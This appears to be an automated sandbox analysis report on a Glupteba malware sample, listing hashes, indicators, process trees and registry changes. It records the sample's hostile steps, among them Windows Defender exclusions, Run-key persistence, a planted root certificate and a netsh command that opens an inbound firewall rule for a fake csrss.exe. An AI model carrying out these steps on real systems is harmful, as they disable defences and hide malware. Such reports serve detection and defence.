Analysis
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max time kernel
143s -
max time network
171s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 04:43
Static task
static1
Behavioral task
behavioral1
Sample
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe
Resource
win7-20220414-en
General
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Target
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe
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Size
3.8MB
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MD5
7b5159c05ee6872d1ae146584149530d
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SHA1
eb3177fd6f357ba4c82f35057032b100806980a9
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SHA256
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf
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SHA512
f3a0fc68e38450a35f1bf35fbf8c292bbb5c4b48f003dd3b3a648f2b2cc5e127e6f4e1699c2d26ae3138e0801a12306a03346306fabf93a0f78331c4c955b624
Malware Config
Signatures
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Glupteba Payload 5 IoCs
Processes:
resource yara_rule behavioral1/memory/884-56-0x0000000002A40000-0x0000000003136000-memory.dmp family_glupteba behavioral1/memory/884-57-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba behavioral1/memory/640-60-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba behavioral1/memory/1388-70-0x00000000028D0000-0x0000000002FC6000-memory.dmp family_glupteba behavioral1/memory/1388-71-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1388 csrss.exe 552 patch.exe 1260 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 11 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exepatch.exepid process 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe 864 552 patch.exe 552 patch.exe 552 patch.exe 552 patch.exe 552 patch.exe 552 patch.exe 552 patch.exe 552 patch.exe -
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d26671056783.exe = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d26671056783 = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\TwilightWater = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe = "0" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\TwilightWater = "\"C:\\Windows\\rss\\csrss.exe\"" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1940 bcdedit.exe -
Drops file in Windows directory 3 IoCs
Processes:
makecab.exe40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220520072112.cab makecab.exe File opened for modification C:\Windows\rss 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe File created C:\Windows\rss\csrss.exe 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1492 schtasks.exe 1896 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe -
Processes:
csrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.execsrss.exepid process 884 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe 1388 csrss.exe 1388 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.execsrss.exedescription pid process Token: SeDebugPrivilege 884 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Token: SeImpersonatePrivilege 884 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe Token: SeSystemEnvironmentPrivilege 1388 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.execmd.execsrss.exedescription pid process target process PID 640 wrote to memory of 1624 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe cmd.exe PID 640 wrote to memory of 1624 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe cmd.exe PID 640 wrote to memory of 1624 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe cmd.exe PID 640 wrote to memory of 1624 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe cmd.exe PID 1624 wrote to memory of 1740 1624 cmd.exe netsh.exe PID 1624 wrote to memory of 1740 1624 cmd.exe netsh.exe PID 1624 wrote to memory of 1740 1624 cmd.exe netsh.exe PID 640 wrote to memory of 1388 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe csrss.exe PID 640 wrote to memory of 1388 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe csrss.exe PID 640 wrote to memory of 1388 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe csrss.exe PID 640 wrote to memory of 1388 640 40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe csrss.exe PID 1388 wrote to memory of 1940 1388 csrss.exe bcdedit.exe PID 1388 wrote to memory of 1940 1388 csrss.exe bcdedit.exe PID 1388 wrote to memory of 1940 1388 csrss.exe bcdedit.exe PID 1388 wrote to memory of 1940 1388 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe"C:\Users\Admin\AppData\Local\Temp\40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe"C:\Users\Admin\AppData\Local\Temp\40e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
